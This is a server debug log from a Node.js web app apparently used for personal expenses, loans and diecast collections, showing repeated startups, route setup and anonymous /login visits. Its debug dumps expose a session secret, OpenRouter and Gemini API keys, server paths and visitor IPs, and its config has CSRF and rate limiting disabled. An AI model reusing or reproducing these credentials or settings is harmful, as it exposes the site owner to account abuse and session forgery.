2026-04-24T06:15:55.350Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-24T06:15:55.350Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-24T06:15:55.354Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-24T06:15:55.354Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-24T06:15:55.357Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-24T06:15:55.360Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-24T06:15:55.360Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-24T06:15:55.364Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-24T06:15:55.364Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-24T06:15:55.371Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-24T06:15:55.375Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-24T06:15:55.375Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-24T06:15:55.386Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-24T16:29:46.877Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-24T16:29:49.087Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-24T16:29:49.952Z server-connect:setup:upload Upload middleware configured.
2026-04-24T16:29:49.952Z server-connect:secure CSRF Protection initialized
2026-04-24T16:29:49.957Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-24T16:29:49.958Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-24T16:29:49.961Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-24T16:29:49.962Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-24T16:29:49.968Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-24T16:29:49.974Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-24T16:29:49.985Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-24T16:29:49.999Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-24T16:29:50.003Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-24T16:29:50.006Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-24T16:29:50.006Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-24T16:29:50.010Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-24T16:29:50.018Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-24T16:29:50.027Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-24T16:29:50.030Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-24T16:29:50.103Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-24T16:29:50.104Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-24T16:29:50.110Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-24T16:29:50.114Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-24T16:29:50.118Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-24T16:29:50.120Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-24T16:29:50.127Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-24T16:29:50.131Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-24T16:29:50.137Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-24T16:29:50.137Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-24T16:29:50.142Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-24T16:29:50.145Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-24T16:29:50.145Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-24T16:29:50.151Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-24T16:29:50.154Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-24T16:29:50.157Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-24T16:29:50.159Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-24T16:29:50.164Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-24T16:29:50.164Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-24T16:29:50.171Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-24T16:29:50.176Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-24T16:29:50.176Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-24T16:29:50.188Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-25T01:19:49.558Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-25T01:19:50.890Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-25T01:19:51.755Z server-connect:setup:upload Upload middleware configured.
2026-04-25T01:19:51.755Z server-connect:secure CSRF Protection initialized
2026-04-25T01:19:51.761Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-25T01:19:51.761Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-25T01:19:51.766Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-25T01:19:51.766Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-25T01:19:51.773Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-25T01:19:51.776Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-25T01:19:51.788Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-25T01:19:51.802Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-25T01:19:51.806Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-25T01:19:51.809Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-25T01:19:51.810Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-25T01:19:51.814Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-25T01:19:51.819Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-25T01:19:51.830Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-25T01:19:51.834Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-25T01:19:51.842Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-25T01:19:51.843Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-25T01:19:51.848Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-25T01:19:51.853Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-25T01:19:51.857Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-25T01:19:51.858Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-25T01:19:51.865Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-25T01:19:51.869Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-25T01:19:51.876Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-25T01:19:51.878Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-25T01:19:51.882Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-25T01:19:51.884Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-25T01:19:51.886Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-25T01:19:51.892Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-25T01:19:51.894Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-25T01:19:51.896Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-25T01:19:51.898Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-25T01:19:51.902Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-25T01:19:51.902Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-25T01:19:51.909Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-25T01:19:51.913Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-25T01:19:51.915Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-25T01:19:51.925Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-25T01:19:52.414Z server-connect:router Serving templateView /
2026-04-25T01:19:52.416Z server-connect:app Executing action step identify
2026-04-25T01:19:52.416Z server-connect:app options: { provider: 'security' }
2026-04-25T01:19:52.418Z server-connect:auth No login cookie found
2026-04-25T01:19:52.418Z server-connect:output identity: false
2026-04-25T01:19:52.418Z server-connect:app Executing action step restrict
2026-04-25T01:19:52.418Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-25T01:19:52.422Z server-connect:output restrict: undefined
2026-04-25T01:19:52.559Z server-connect:router Serving templateView /login
2026-04-25T01:19:52.560Z server-connect:app Executing action step identify
2026-04-25T01:19:52.560Z server-connect:app options: { provider: 'security' }
2026-04-25T01:19:52.560Z server-connect:auth No login cookie found
2026-04-25T01:19:52.560Z server-connect:output identity: false
2026-04-25T01:19:52.560Z server-connect:router Render template layouts/authentication
2026-04-25T01:19:52.561Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    'x-forwarded-for': '2a14:7c1:400:7::1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-26T01:19:52.558Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2a14:7c1:400:7::1',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    'HTTP_X_FORWARDED-FOR': '2a14:7c1:400:7::1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-25T04:44:16.374Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-25T04:44:17.121Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-25T04:44:17.883Z server-connect:setup:upload Upload middleware configured.
2026-04-25T04:44:17.884Z server-connect:secure CSRF Protection initialized
2026-04-25T04:44:17.886Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-25T04:44:17.887Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-25T04:44:17.888Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-25T04:44:17.890Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-25T04:44:17.894Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-25T04:44:17.900Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-25T04:44:17.912Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-25T04:44:17.925Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-25T04:44:17.927Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-25T04:44:17.929Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-25T04:44:17.933Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-25T04:44:17.933Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-25T04:44:17.939Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-25T04:44:17.949Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-25T04:44:17.953Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-25T04:44:17.961Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-25T04:44:17.962Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-25T04:44:17.965Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-25T04:44:17.971Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-25T04:44:17.974Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-25T04:44:17.976Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-25T04:44:17.978Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-25T04:44:17.980Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-25T04:44:17.986Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-25T04:44:17.988Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-25T04:44:17.993Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-25T04:44:17.993Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-25T04:44:17.995Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-25T04:44:17.998Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-25T04:44:18.000Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-25T04:44:18.002Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-25T04:44:18.004Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-25T04:44:18.006Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-25T04:44:18.006Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-25T04:44:18.014Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-25T04:44:18.017Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-25T04:44:18.019Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-25T04:44:18.029Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-25T04:44:18.443Z server-connect:router Serving templateView /
2026-04-25T04:44:18.445Z server-connect:app Executing action step identify
2026-04-25T04:44:18.445Z server-connect:app options: { provider: 'security' }
2026-04-25T04:44:18.447Z server-connect:auth No login cookie found
2026-04-25T04:44:18.447Z server-connect:output identity: false
2026-04-25T04:44:18.447Z server-connect:app Executing action step restrict
2026-04-25T04:44:18.447Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-25T04:44:18.451Z server-connect:output restrict: undefined
2026-04-25T04:44:22.228Z server-connect:router Serving templateView /login
2026-04-25T04:44:22.228Z server-connect:app Executing action step identify
2026-04-25T04:44:22.228Z server-connect:app options: { provider: 'security' }
2026-04-25T04:44:22.229Z server-connect:auth No login cookie found
2026-04-25T04:44:22.229Z server-connect:output identity: false
2026-04-25T04:44:22.229Z server-connect:router Render template layouts/authentication
2026-04-25T04:44:22.229Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.172.47',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-26T04:44:22.226Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.172.47',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.172.47',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-25T04:44:31.588Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-25T04:44:31.765Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-25T04:44:31.839Z server-connect:setup:upload Upload middleware configured.
2026-04-25T04:44:31.840Z server-connect:secure CSRF Protection initialized
2026-04-25T04:44:31.842Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-25T04:44:31.855Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-25T04:44:31.855Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-25T04:44:31.856Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-25T04:44:31.857Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-25T04:44:31.858Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-25T04:44:31.862Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-25T04:44:31.863Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-25T04:44:31.863Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-25T04:44:31.863Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-25T04:44:31.864Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-25T04:44:31.864Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-25T04:44:31.864Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-25T04:44:31.865Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-25T04:44:31.865Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-25T04:44:31.865Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-25T04:44:31.865Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-25T04:44:31.866Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-25T04:44:31.866Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-25T04:44:31.867Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-25T04:44:31.868Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-25T04:44:31.868Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-25T04:44:31.869Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-25T04:44:31.869Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-25T04:44:31.870Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-25T04:44:31.870Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-25T04:44:31.870Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-25T04:44:31.870Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-25T04:44:31.870Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-25T04:44:31.871Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-25T04:44:31.871Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-25T04:44:31.871Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-25T04:44:31.871Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-25T04:44:31.871Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-25T04:44:31.872Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-25T04:44:31.872Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-25T04:44:31.872Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-25T04:44:31.872Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-25T04:44:31.984Z server-connect:router Serving templateView /
2026-04-25T04:44:31.988Z server-connect:app Executing action step identify
2026-04-25T04:44:31.988Z server-connect:app options: { provider: 'security' }
2026-04-25T04:44:31.990Z server-connect:auth No login cookie found
2026-04-25T04:44:31.990Z server-connect:output identity: false
2026-04-25T04:44:31.990Z server-connect:app Executing action step restrict
2026-04-25T04:44:31.990Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-25T04:44:31.994Z server-connect:output restrict: undefined
2026-04-25T04:44:41.942Z server-connect:router Serving templateView /login
2026-04-25T04:44:41.942Z server-connect:app Executing action step identify
2026-04-25T04:44:41.942Z server-connect:app options: { provider: 'security' }
2026-04-25T04:44:41.943Z server-connect:auth No login cookie found
2026-04-25T04:44:41.943Z server-connect:output identity: false
2026-04-25T04:44:41.943Z server-connect:router Render template layouts/authentication
2026-04-25T04:44:41.943Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
